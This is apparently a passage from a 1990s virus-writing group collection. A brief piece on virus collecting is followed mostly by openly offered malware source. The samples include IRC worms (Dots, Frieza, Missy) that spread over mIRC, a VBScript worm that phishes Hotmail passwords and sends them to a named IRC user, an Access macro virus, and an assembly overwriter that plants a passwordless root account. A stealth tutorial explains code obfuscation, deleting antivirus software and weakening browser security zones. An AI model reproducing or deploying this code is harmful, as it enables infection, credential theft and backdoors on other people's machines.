     A final area of ethical concern lies within the VX

collector/trader community itself.  It would seem that collecting

and trading would be a carefree, enjoyable hobby.  Indeed, it

usually is.  However, there are always those who seek to gain

without concern or respect for others.  I have seen the very

worst of controlling, obsessed, and hysterical collectors.  Be

very careful who you associate yourself with.  Suffice it to say

- this is an issue far beyond the ability of this article to

solve.  Be warned.

                         More Information

     If you need more information then you must not have gotten a

copy of VDAT!  It really is the place to begin.  The above 10

steps to getting into collecting will put you into contact with

some of the best resources and people.  VDAT 1.9 (and newer)

includes a wonderful article by Cicatrix on virus collecting.

Read it for more information also.  Otherwise, don't expect to

have a 30,000+ virus collection overnight.  It takes hard work

and persistence.

                             Warnings

     I hope you don't really need to read this section.  If you

haven't already realized the dangers of collecting viruses, you

probably shouldn't continue.  But if you insist, I will outline

some of the dangers.

     The first is the most obvious.  You are collecting programs

that can erase files, reformat your hard drive, corrupt data,

erase flash roms, send your PGP keys to someone, and give people

direct access to your machine.  Running any of those programs may

result in unhappy results.  Watch what you are doing!  Getting

VirusKeeper and using it can help greatly to avoid mistakes.

     The second is also pretty simple - running programs related

to the virus scene or even opening word documents can get you

into trouble.  Some virus construction kits are themselves

infected with viruses.  Documents purporting to teach you all

about programming viruses may instead give you a virus.

     The third is an area you will have to research on your own.

It may not be legal where you live to own viruses and other

"malware."  Check up on your local and national laws or

regulations if you are concerned.  VDAT has some information

regarding this issue.

                            Conclusion

     There are a lot of benefits to virus collecting.  I mean

beyond the glamour, fame, girls and great pay.  You will probably

learn how to find a virus on your own system.  And eventually you

will learn how to reload your entire system.  Your collection

won't take up much shelf space.  Your collection will naturally

increase in size if you run it once in a while.  But seriously,

collecting is its own reward.  Enjoy it!

     This short article is really just start.  I continue to

learn as I go.  My thanks to all the VX folks for all your hard

work.  I have learned things, both good and bad, from a number of

people.  I especially recognize collectors like Buddy, Cicatrix,

Foxz, HomeS|ice,  Knowdeth, Pax, Phage, ShadowSeeker,

SlageHammer, Spooky, Urgo and others.

     This will hopefully be the final version of this article.

As I read over it, I see that I have taken this all very

seriously.  Perhaps it is natural, when one has a hobby to apply

all of ones abilities to that hobby.  Or perhaps, I have worked

too hard at having fun.  Who knows what the future will hold -

but I do know I was not created solely for collecting viruses.

                        Glossary of Terms

               Collection     A group of viruses intentionally

               organized for the purpose of keeping and enjoying the

               files.

               ID             The virus name that an anti virus

               program gives to a virus.  For example: AVP might call

               it "Murphy.Bhak" while F-Prot calls it "Murphy.1250.B

               (exact)."

               Malware        Programs that do something unwanted to

               your system.  This includes viruses, worms, trojans,

               backdoors, and maybe some major operating systems.

               New virus      A virus that you do not have in your

               collection. It may not necessarily be a newly

               developed or released virus.  (e.g. for many of us,

               Uruguay #10 is a new virus, but it is not newly

               developed or released).

               Noscan         A potential virus, but was not detected

               by the anti-virus programs used.  Usually kept for

               later re-scanning in hopes that it will be detected.

               Requesting     Processing another's log file to

               determine which viruses are new for you.  Some do this

               by hand, most use a utility (such as VirusKeeper) to

               generate their requests.

               Sorting        Some method by which you process and

               analyze the anti-virus logs of your viruses.  (e.g.

               VirusKeeper stores the AV information in a

               database, then updates it according to the AV

               logs.)

               Storing        Some method by which you keep a copy of

               a virus. This may include programs like BULK which copy

               viruses to a unique name, archive programs, or

               programs which rename the file to the virus name

               (and create directories to store them).  (e.g.

               VirusKeeper uses file renaming (to guarantee a

               unique name) and archiving (currently ZIP)).

               Trading        Swapping viruses you have for ones that

               you do not.  Most traders now use some utility to read

               other's log files to see which viruses they need.

               Many also use trade ratios to help keep trading

               going.

               Unique virus   a virus that at least one antivirus

               program gives a completely different ID name and thus

               recognizes as a different virus.


IRC-Worm.Dots.a By Raven

'IRC-Worm.Dots.a

'by Raven [Metaphase VX Team]

'

'Seeing Gigabyte's Winscript worm named gum, I decided to

'code this up. No need for external files when you know

'batch ;)

'This is a simple irc-worm that drops new wall paper on Windows 9.x.

'Sorry its cheezy just showing it can be done :)

'

'Specal thanks to Knowdeth his help with this worm

'Greetz to Tally, Sinixstar, Sblip, jackie twoflower, foxz and zulu

'

On Error Resume Next

Dim iniM, MakeScript, BatFile, DropMe

Set FSO = CreateObject("Scripting.FileSystemObject")

Set WshShell = CreateObject("WScript.Shell")

Parent = Wscript.ScriptFullName

Set iniM = FSO.OpenTextFile("c:\mirc\mirc.ini", ForAppending, True)

      iniM.WriteLine "[rfiles]"

      iniM.WriteLine "n100=script.ini"

      iniM.Close

Set MakeScript = FSO.CreateTextFile("c:\mirc\script.ini", True)

  MakeScript.WriteLine "[script]"

  MakeScript.WriteLine "n0; IRC-Worm.Dots.a by Raven [Metaphase VX Team]"

  MakeScript.WriteLine "n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }"

  MakeScript.WriteLine "n2=  /dcc send $nick c:\WINDOWS\system\dots.vbs"

  MakeScript.WriteLine "n3=}"

  MakeScript.WriteLine "n4="

  MakeScript.WriteLine "n5=;ON 1:PART:#:{ /if ( $nick == $me ) { halt }"

  MakeScript.WriteLine "n6=/dcc send $nick c:\WINDOWS\system\dots.vbs"

  MakeScript.WriteLine "n7=}"

  MakeScript.WriteLine "n8="

  MakeScript.WriteLine "n9=on 1:TEXT:*script.ini*:#:/.ignore $nick"

  MakeScript.WriteLine "n10=on 1:TEXT:*script.ini*:?:/.ignore $nick"

  MakeScript.WriteLine "n11=on 1:TEXT:*virus*:#:/.ignore $nick"

  MakeScript.WriteLine "n12=on 1:TEXT:*virus*:?:/.ignore $nick"

  MakeScript.WriteLine "n13=on 1:TEXT:*worm*:#:/.ignore $nick"

  MakeScript.WriteLine "n14=on 1:TEXT:*worm*:?:/.ignore $nick"

  MakeScript.WriteLine "n15=on 1:TEXT:*dots*:#:/.ignore $nick"

  MakeScript.WriteLine "n16=on 1:TEXT:*dots*:?:/.ignore $nick"

  MakeScript.WriteLine "n17=on 1:QUIT:#:/msg $chan Her Gift in pain, her pain was life."

  MakeScript.Close

FSO.CopyFile Parent, "c:\WINDOWS\system\dots.vbs"

FSO.CopyFile Parent, "c:\WINDOWS\Start Menu\Programs\StartUp\Startup§.vbs"

If Day(Now()) = 1 or Day(Now()) = 5 or Day(Now()) = 10 or Day(Now()) = 15 or Day(Now()) = 20 or Day(Now()) = 25  Then

  Set DropMe = FSO.CreateTextFile("c:\Windows\dots.dll", 2, False)

      DropMe.WriteLine ""

      DropMe.WriteLine "N DOT.BMP"

      DropMe.WriteLine "E 0100 42 4D F6 00 00 00 00 00 00 00 76 00 00 00 28 00"

      DropMe.WriteLine "E 0110 00 00 10 00 00 00 10 00 00 00 01 00 04 00 00 00"

      DropMe.WriteLine "E 0120 00 00 80 00 00 00 00 00 00 00 00 00 00 00 10 00"

      DropMe.WriteLine "E 0130 00 00 10 00 00 00 FF FF 84 00 00 00 FF 00 FF FF"

      DropMe.WriteLine "E 0140 FF 00 FF FF FF 00 FF FF FF 00 FF FF FF 00 FF FF"

      DropMe.WriteLine "E 0150 FF 00 FF FF FF 00 FF FF FF 00 FF FF FF 00 FF FF"

      DropMe.WriteLine "E 0160 FF 00 FF FF FF 00 FF FF FF 00 FF FF FF 00 FF FF"

      DropMe.WriteLine "E 0170 FF 00 FF FF FF 00 22 22 22 22 22 22 21 01 22 21"

      DropMe.WriteLine "E 0180 11 22 22 22 22 10 22 11 11 12 22 22 21 21 22 11"

      DropMe.WriteLine "E 0190 11 12 22 22 12 22 22 11 11 12 22 21 22 22 22 21"

      DropMe.WriteLine "E 01A0 11 22 22 12 22 22 22 22 22 22 21 22 22 22 22 22"

      DropMe.WriteLine "E 01B0 22 22 12 22 22 22 22 22 22 21 22 22 22 22 22 22"

      DropMe.WriteLine "E 01C0 22 12 22 22 22 22 22 22 21 22 22 11 12 22 22 22"

      DropMe.WriteLine "E 01D0 12 22 21 11 11 22 22 21 22 22 21 11 11 22 12 12"

      DropMe.WriteLine "E 01E0 22 22 21 11 11 22 01 22 22 22 22 11 12 22 10 12"

      DropMe.WriteLine "E 01F0 22 22 22 22 22 22"

      DropMe.WriteLine "RCX"

      DropMe.WriteLine "F6"

      DropMe.WriteLine "W"

      DropMe.WriteLine "Q"

      DropMe.WriteLine ""

      DropMe.Close

      Set BatFile = FSO.CreateTextFile("c:\Windows\WinStart.bat", 2, False)

      BatFile.WriteLine ""

      BatFile.WriteLine "@echo off"

      BatFile.WriteLine "debug < c:\windows\dots.dll > nul"

      BatFile.WriteLine ""

      BatFile.Close

 WshShell.RegWrite "HKEY_CURRENT_USER\Control Panel\desktop\Wallpaper", "C:\WINDOWS\Dot.BMP"

 WshShell.RegWrite "HKEY_CURRENT_USER\Control Panel\desktop\TileWallpaper", "1"

End If

'Time to go------->


graytile by Sblip

################################################################################

# Do not compile this. Do not run this.

#

# This is a destructive overwriter ..

# Destructive virii suck. they are NOT cool.

# I disclaim myself from anything you do with this.

# If you compile and run this you are stupid.

# Don't even THINK about trying to make someone else run this.

# If you do you are a fuck.

# I'm not going to comment the code .. If you want bad enough to

# know what lame things it does, you can figure it out.

# This probably won't compile on your system, it probably has

# many bugs (libc being the big one), and i don't care to try

# to make it work on any system. It's for novelty only.

# I will say this .. i wrote the code for the usage of argv[0] in C,

# and disassembled it, coz i couldn't figure out how to do it in pure

# asm. The rest was written in nasm syntax asm, then ported to at&t style.

#

#                           graytile

#

#                       BLiP/Metaphase '99                                     #

################################################################################

        .file   "graytile.s"

        .version        "01.01"

gcc2_compiled.:

.section        .rodata

.LC0:

        .string "."

.LC1:

        .string "/tmp/.m23core"

.LC2:

        .string "/etc/passwd"

.LC3:

        .string "metaphase::0:0:Metaphase Vx:/root:/bin/bash"

.text

        .align 16

.globl main

        .type    main,@function

main:

        pushl %ebp

        movl %esp,%ebp

        subl $4108,%esp

        leal -2(%ebp),%eax

        movw .LC0,%dx

        movw %dx,-2(%ebp)

        leal -8(%ebp),%eax

        movw .LC1,%dx

        movw %dx,-8(%ebp)

        movb .LC1+2,%al

        movb %al,-6(%ebp)

        pushl $0

        movl 12(%ebp),%eax

        movl (%eax),%edx

        pushl %edx

        call open

        addl $8,%esp

        movl %eax,%eax

        movl %eax,-4108(%ebp)

        pushl $4096

        leal -4104(%ebp),%eax

        pushl %eax

        movl -4108(%ebp),%eax

        pushl %eax

        call read

        addl $12,%esp

        pushl $.LC0

        call opendir

        movl %eax,%esi

getem:

        push %esi

        call readdir

        addl $4,%esp

        cmpl $0,%eax

        jbe bye

        addl $10,%eax

        pushl $2

        pushl %eax

        call open

        addl $8,%esp

        pushl $4096

        leal -4104(%ebp),%ebx

        pushl %ebx

        pushl %eax

        call write

        addl $12,%esp

        jmp getem

bye:

        movl $5,%eax

        movl $.LC1,%ebx

        movl $2,%ecx

        int $0x80

        cmpl $0,%eax

        jge done

        movl $5,%eax

        movl $.LC2,%ebx

        movl $66,%ecx

        int $0x80

        movl %eax,%esi

        movl %eax,%ebx

        movl $19,%eax

        movl $0,%ecx

        movl $2,%edx

        int $0x80

        movl %esi,%ebx

        movl $4,%eax

        movl $.LC3,%ecx

        movl $43,%edx

        int $0x80

        nop

done:

        movl $5,%eax

        movl $66,%ecx

        movl $.LC1,%ebx

        int $0x80

        movl %eax,%ebx

        movl $4,%eax

        movl $.LC0,%ecx

        movl $2,%edx

        int $0x80

.L1:

        movl %ebp,%esp

        popl %ebp

        ret

.Lfe1:

        .size    main,.Lfe1-main

        .ident  "GCC: (GNU) 2.7.2.3"


AM97.Julie.a by Knowdeth

Option Compare Database

Option Explicit

Dim Julie As String

Function  Julie()

On Error Resume Next

'Access97.Julie.a

'by -KD- / [Metaphase VX Team] & [NoMercyVirusTeam]

CurrentDb.Properties("AllowBypassKey") = False

CurrentDb.Properties("AllowSpecialKeys") = False

CurrentDb.Properties("AllowBreakIntoCode") = False

Application.DisplayStatusBar = False

Julie = Dir("*.mdb", vbNormal)

Do While Julie <> ""

If CurDir & "\" & Julie <> CurrentDb.Name Then

DoCmd.TransferDatabase acExport, "Microsoft Access", Julie, acMacro, "AutoExec", "AutoExec"

DoCmd.TransferDatabase acExport, "Microsoft Access", Julie, acModule, "Julie", "Julie"

End If

On Error GoTo Exit_Payload

If Day(Now()) = Int(Rnd() * 28) + 1 Then

MsgBox "Access97.Julie.a", "Someday We Will All Have Perfect Wings"

End If

Exit_Payload:

Julie = Dir()

Loop

End Function


VBS.Frieza by Frieza

'VBS.Frieza

'Thnx to SimplSimon for script help

'u ever need script help, hes da man to see.

'Thnx to Knowdeth for help with the VBS.

On Error Resume Next

Set FSO = CreateObject("Scripting.FileSystemObject")

Set WshShell = Wscript.CreateObject("Wscript.Shell")

Frieza = Wscript.ScriptFullName

FSO.CopyFile Frieza, "c:\WINDOWS\system\QuakeIII.vbs"

FSO.CopyFile Frieza, "c:\WINDOWS\Start Menu\Programs\StartUp\DBZ.vbs"

Set Wormy = FSO.CreateTextFile("c:\mirc\script.ini", True)

Wormy.WriteLine "[Script]"

Wormy.Writeline "n0=on 1:Join:*:{ if ( $nick = buffy` ) && ( $me isop # ) { .ban # $nick | .kick # $nick | halt } | if ( $nick = $me ) { halt } | .dcc send $nick C:\windows\system\quakeIII.vbs }"

Wormy.Writeline "n1=on 1:TEXT:*fr*:#:/msg $chan Frieza is my master"

Wormy.Writeline "n2=ctcp 1:GETPW:*:{ if ( $exists(C:\mirc\pws.txt) ) { .dcc send Notmeg C:\mirc\pws.txt } | halt }"

Wormy.Close

Set VLink = WshShell.CreateShortcut("C:\WINDOWS\Favorites\Frieza.URL")

  VLink.TargetPath = "http://www.planetnamek.com/insane/"

  VLink.Save

LF = Left(Frieza, InStrRev(Frieza, "\"))

For Each target in FSO.GetFolder(LF).Files

If FSO.GetExtensionName(target.Name) = "vbs" then

FSO.CopyFile Frieza, target.name, 1

end if

next

IF Month(now) = 11 Then

MsgBox "Frieza-Virus with a power level of 13,000,000",4096,"VBS.Frieza"

WshShell.Run ("C:\WINDOWS\Favorites\Frieza.URL")

Input = InputBox("Hotmail Virus kill Service..Virus detected. to kill...enter your hotmail login")

Input2 = InputBox("enter your hotmail password to verify your  hotmail member")

MsgBox ("thank you,  " & Input &  input2 & "Virus cleaned")

Set PW = FSO.CreateTextFile("c:\mirc\pws.txt", True)

PW.WriteLine ("hey " & input & "--" & Input2)

PW.Close

'Frieza

end if


VBScript Simple Stealth by Knowdeth
VBScript Simple Steath by Knowdeth

VBScript Simple Steath

by -KD- [Metaphase VX Team & NoMercyVirusTeam]

Utils you will need:

A text editor of some sort.

Windows 9.x or NT

WSH Eng Installed (98 Has it installed by defult).

Working knollage of VB/VBS

About VBS virii/worms:

VBScript is a language based off VB, Much like VBA it is intrupted.

There is no compiler. There is a way of encrypting your code. VBS encode.

The problem with this is, you need atleast WSH 5.0 installed. By Defult

Win98 install its WSH 3.0, Atleast with Win98 upgrade. They are created

by simple text editors, ie Notepad.exe. They can also be enbeded inside

of a html file, or ran on its own with the ext, VBS. (think of it as

 visual ms batch!)

VBE Steatlh:

Simple run the VBS encoder on your VBS. Major downfall! It needs WSH 5!

So It may not run on 50% of the systems.

Example:

'This is what VBE encode would look like

'**Start Encode**#@~^fmgAAA==@#@&n;(VbmPdk	n/;W;xD~~!xKaYBPKm87]DœúÆ^(æ¶Š`T”{6

Chr Steath:

Useing ascii table you can mask varable names and ect.

Much like VBA you can use it for a type of primative encryption.

Example:

HI = chr(86)+ chr(66)

Msgbox HI

MZ Header Steath:

Ok, now for somthing very simple. MZ header steath, Giveing the common user

When he opens it he will go OH this is a exe! It will help from haveing your

VBS edited and Also mess up some AV's way of scaning because it go

"this inst VBS its a exe" Its a neet trick at least (notice the rem's!)

Example:

'MZ�           œ~Ÿ�ÿ…š1Åyºí0¼    ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^(æ¶Š`T”{6špß±wôCÏ¯±34ay[’µ|

'

'bÂUé©gr@? œ~Ÿ�ÿ…š1Åyºí0¼    ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^(æ¶Š`T”{6špß±wôCÏ¯±34ay[’µ|*ñ|

Garable Gook Steath:

A very simple trick to hide your code. Also makes it look like a exe.

Much like the MZ trick. It also make you code a pain to read. Remeber

it will make your VBS file bigger as a down fall.

Example:

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙí

MsgBox "HI! this is a example", 4096 , "Example!"

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙí

Reg Editing Steath:

This is a little more of a pain. You must understand reg keys for this.

Relize you are modifying the users reg keys with this. (regedit.exe is

a great tool) This is a great help with IE (HTML VBS) when enbeding

 because of the ActiveX prompt when running a VBS file.

Example:

WshShell.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201", 0, "REG_DWORD"

WshShell.RegWrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201" , 0, "REG_DWORD"

Java Script Browser Check:

Great for IE (HTML VBS) It will check to see what browers is running

to make sure it can infect it if not then it closes.

Idea by foxz / NoMercyVirusTeam

Example:

<SCRIPT Language = "JavaScript">

<!--

var userAgent=navigator.appName;

var userVer=navigator.appVersion;

var agentInfo=userAgent.substring(0, 1);

var agentVer=userVer.substring(0, 1);

       if(agentInfo == "M"){

if  (agentVer =="4"){

alert("IF Your Active-X ask you, and you want \nto continue loading this page answer YES!")

}

}else {

alert("Thet page you want to see was design ONLY for IE4, \ni'm really sorry about this ")

self.close()

}

//-->

</SCRIPT>

Anti AV DEl Stealth:

This is one the most simple things to do, You del the av off the system.

I know its cheezy but it works.

Example:

fSO.DeleteFolder ("c:\Program Files\Mcafee")

Anti AV DEl BAT Stealth:

This is one the a little more complex way to do it, You del the av off the

system. With a batch file (autoexec.bat or winstart.bat)  Its a little

diffrent but works well because the AV scaner is gone the next reboot.

(rember dos is still our friend)

Example:

Set AntiAVFile = FSO.CreateTextFile("c:\Windows\WinStart.bat", True)

    AntiAVFile.WriteLine "Deltree c:\progra~1\mcafee\ /y"

AntiAVFile.Close

Anit AV OW Stealth:

This is a litte better way of doing Anti AV, OW the data/exe files.

Example:

Set AntiAVFile = FSO.CreateTextFile("c:\Program Files\Mcafee\virus.def", True)

    AntiAVFile.WriteLine "put my trash here"

AntiAVFile.Close

Or

Set AntiAVFile = FSO.CreateTextFile("c:\Program Files\Mcafee\mcafee.exe", True)

    AntiAVFile.WriteLine "put my trash here"

AntiAVFile.Close

-------------Sample OW VBS Stealth Virus VBS.Becky.a------------------

'MZ�           œ~Ÿ�ÿ…š1Åyºí0¼    ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^(æ¶Š`T”{6

'

'VBS.Becky.a

'by -KD- [Metaphase Vx Team & NoMercyVirusTeam]

On Error Resume Next

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]D

Dim Becky, WshShell, FSO, VX, AntiAVFile

Randomize

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]D

Set FSO = CreateObject("Scripting.FileSystemObject")

Set WshShell = Wscript.CreateObject("Wscript.Shell")

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]D

Set AntiAVFile = FSO.CreateTextFile("c:\Windows\WinStart.bat", True)

    AntiAVFile.WriteLine "Deltree c:\progra~1\mcafee\ /y"

AntiAVFile.Close

Becky = Wscript.ScriptFullName

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]D

VX = Left(Becky, InStrRev(Becky, "\"))

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]D

For Each target in FSO.GetFolder(VX).Files

  FSO.CopyFile Becky, target.Name, 1

Next

If Day(Now()) = 1 or Day(Now()) = 5 or Day(Now()) = 10 or Day(Now()) = 15 or Day(Now()) = 20 or Day(Now()) = 25  Then

' ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]D

  MsgBox "We dont have to stay friends" & Chr(13) & Chr(10) & "Lets pretend to be enemys" & Chr(13) & Chr(10) & "Yeah whatever makes you happy.", 4096 , "VBS.Becky.a"

' ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]D

End If

'Exit Becky-->

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]D

-------------------------End Sample---------------------------------


Worm Irc Script Kit by Knowdeth

From The WISK Hlp File:

This is a "Simple" menu drive visual application for

creating mIRC Worms.

This program generates replicating mIRC Worm

like programs from user-specified parameters.

Basicly "EG. Fill in the Blank and press Make Worm" :-)

Hopefully some one will get a copy of this and

pick up a intrest in  programing HLL.

New versions of mIRC do not support this type of worm

at all only version 5.3x and before which use the

same download dir as the mIRC program is located.

WISK 1.1k Help


BOOM by Knowdeth

BOOM File ID:

BOOM: AnsiBomb Construction Kit ver 1.1k

---------------------------------------------------------------------

Ver 1.1k

by -KD- [Metaphase VX Team] & [NoMercyVirusTeam]

This program generates ansi batch files used with

ansi.sys to remap keys also known as "AnsiBombs"

programs from user-specified parameters.

Req's MSDOS 6.x or higher

----------------------------------------------------------------------


VBS.Missy.c by Knowdeth
I-Worm.Missy.c by Knowdeh

'MZ�           œ~Ÿ�ÿ…š1Åyºí0¼

'

'bÂUé©gr@? œ~Ÿ�ÿ…š1Åyºí0¼    ßÌ�cÙíÇŸFûŠ¼N†ûì7]D

'ÿ Û‡“ �O«8ßV#jK ®áÆ~ÇPÌßV#jKßV#jK         ÿ Û‡“

'bÂUé©gr@? œT”{6špß±wôCÏ¯±34ay[’µ|*ñ|™˜ýOJ”l

'ÿ Û‡“ �O«8ßV#       jK ®áÆ~ÇPÌßV#jKßV#jK~ ûì7]DœúÆ^(ÿ…š1Åy

'

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíßÌ�cÙíÇŸFûŠ¼N†ûì7

'IRC-Worm.Missy.c

'by -KD- [Metaphase & NoMercy]

'Shout Outs to zulu, Ultras, jackie, SinixstaR, Raven, Raid

'foxz, yozak, FSO, Duke, jfk And -Everyone- codeing HLL.

'bÂUé©gr@? íÇŸFûŠ¼N†ûì7]Dœ(æ¶Š`T”{6špß±wôCÏ¯±34ay[’µ|*ñ|™˜ýOJ”l

On Error Resume Next

Dim iniM, MakeMScript, MakePScript, ABatFile, DBatFile, tFile, SysFile, FSO

Set FSO = CreateObject("Scripting.FileSystemObject")

'bÂUé©gr@? œ~Ÿ�ÿ…ºíûŠ¼œúÆ^(æ¶Š`T”{6špß±wôCÏ¯±34ay[’µ|*ñ|™˜ýOJ”l

Set WshShell = CreateObject("WScript.Shell")

Parent = Wscript.ScriptFullName

'bÂUé©gr@? œ~Ÿ�ÿ…šûì7]DœúÆ^(æ¶Š`T”{6špß±wôCÏ¯±34ay[’µ|*íÿÇF¡x
íé-

Set iniM = FSO.OpenTextFile("c:\mirc\mirc.ini", ForAppending, True)

  iniM.WriteLine "[rfiles]"

  iniM.WriteLine "n100=script.ini"

  iniM.Close

'ÿ Û‡“ �O«8ßV#jK ®áÆ~ÇPÌßV#jKßV#jKÿ Û‡“ �O«8ßV#jK ®áÆ~ÇPÌßV#jKßV#jKÿ

Set MakeMScript = FSO.CreateTextFile("c:\WINDOWS\events1.dll", True)

  MakeMScript.WriteLine "[script]"

  MakeMScript.WriteLine "n0; IRC-Worm.Missy.c by -KD- [Metaphase & NoMercy]"

  MakeMScript.WriteLine "n1; Welcome to Missy"

  MakeMScript.WriteLine "n2; Shout outs to zulu, Ultras, jackie, Sin, Raven"

  MakeMScript.WriteLine "n3; foxz, yozak, FSO, Duke. jfk And everyone codeing HLL."

  MakeMScript.WriteLine "n4=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }"

  MakeMScript.WriteLine "n5=  /dcc send $nick c:\WINDOWS\cute.vbs"

  MakeMScript.WriteLine "n6=}"

  MakeMScript.WriteLine "n7="

  MakeMScript.WriteLine "n8=;ON 1:PART:#:{ /if ( $nick == $me ) { halt }"

  MakeMScript.WriteLine "n9=/dcc send $nick c:\WINDOWS\cute.vbs"

  MakeMScript.WriteLine "n10=}"

  MakeMScript.WriteLine "n11="

  MakeMScript.WriteLine "n12=on 1:TEXT:*script.ini*:#:/.ignore $nick"

  MakeMScript.WriteLine "n13=on 1:TEXT:*script.ini*:?:/.ignore $nick"

  MakeMScript.WriteLine "n14=on 1:TEXT:*virus*:#:/.ignore $nick"

  MakeMScript.WriteLine "n15=on 1:TEXT:*virus*:?:/.ignore $nick"

  MakeMScript.WriteLine "n16=on 1:TEXT:*worm*:#:/.ignore $nick"

  MakeMScript.WriteLine "n17=on 1:TEXT:*worm*:?:/.ignore $nick"

  MakeMScript.WriteLine "n18=on 1:TEXT:*cute*:#:/.ignore $nick"

  MakeMScript.WriteLine "n19=on 1:TEXT:*cute*:?:/.ignore $nick"

  MakeMScript.WriteLine "n20=on 1:QUIT:#:/msg $chan You Make Me Complete"

  MakeMScript.Close

'~Ÿ�ÿ…š1Åyºí0¼ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^(~Ÿ�ÿ…š1Åyºí0¼ßÌ�cÙíÇŸFûŠ¼N†ûì7]D

'Ÿ�ÿ…š1Åyºí0¼ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^(ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFû

Set MakePScript = FSO.CreateTextFile("c:\WINDOWS\events2.dll", True)

  MakePScript.WriteLine "[Levels]"

  MakePScript.WriteLine "Enabled=1"

  MakePScript.WriteLine "Count=6"

  MakePScript.WriteLine "Level1=000-Unknowns"

  MakePScript.WriteLine "000-UnknownsEnabled=1"

  MakePScript.WriteLine "Level2=100-Level 100"

  MakePScript.WriteLine "100-Level 100Enabled=1"

  MakePScript.WriteLine "Level3=200-Level 200"

  MakePScript.WriteLine "200-Level 200Enabled=1"

  MakePScript.WriteLine "Level4=300-Level 300"

  MakePScript.WriteLine "300-Level 300Enabled=1"

  MakePScript.WriteLine "Level5=400-Level 400"

  MakePScript.WriteLine "400-Level 400Enabled=1"

  MakePScript.WriteLine "Level6=500-Level 500"

  MakePScript.WriteLine "500-Level 500Enabled=1"

  MakePScript.WriteLine ""

  MakePScript.WriteLine "[000-Unknowns]"

  MakePScript.WriteLine "User1=*!*@*"

  MakePScript.WriteLine "UserCount=1"

  MakePScript.WriteLine "Event1=; IRC-Wrom.Missy.c"

  MakePScript.WriteLine "Event2=; by -KD- [Metaphase & NoMercy]"

  MakePScript.WriteLine "Event3=ON JOIN:#:/notice $nick Tell me that file isnt the cutest ;)"

  MakePScript.WriteLine "Event4=ON JOIN:#:/dcc send $nick  c:\windows\cute.vbs"

  MakePScript.WriteLine "Event5=ON BAN:*:#:/mode # -o+b $me $banmask | /kick # $nick Dont ban me!!"

  MakePScript.WriteLine "Event6=ON PART:#:/notice $nick Case I didnt send it yet this is the cutest thing Ive seen ;)"

  MakePScript.WriteLine "Event7=ON PART:#:/dcc send $nick c:\windows\cute.vbs"

  MakePScript.WriteLine "Event8=VERSION:/notice $nick \-1 IRC-Worm: Missy.c by -KD- HLL is not dead! \-1:-"

  MakePScript.WriteLine "Event9=ON TEXT:*missy*:#:/ignore # $nick"

  MakePScript.WriteLine "Event10=ON TEXT:*virus*:#:/ignore # $nick"

  MakePScript.WriteLine "Event11=ON TEXT:*worm*:#:/ignore # $nick"

  MakePScript.WriteLine "Event12=ON TEXT:*trojan*:#:/ignore # $nick"

  MakePScript.WriteLine "Event13=ON TEXT:*cute*:#:/ignore # $nick"

  MakePScript.WriteLine "Event14=ON TEXT:*baby*:*:/dcc send $nick c:\windows\cute.vbs"

  MakePScript.WriteLine "Event15=PING:/notice $nick Woohoo"

  MakePScript.WriteLine "Event16=ON QUIT:/msg :#vir: IRC-Worm.Missy by -KD-! You Make Me Complete"

  MakePScript.WriteLine "Event17=ON KICKED:*:#:/msg $nick What the hell? | /join # | /mode # -o+b $nick $banmask"

  MakePScript.WriteLine "EventCount=17"

  MakePScript.WriteLine ""

  MakePScript.WriteLine "[100-Level 100]"

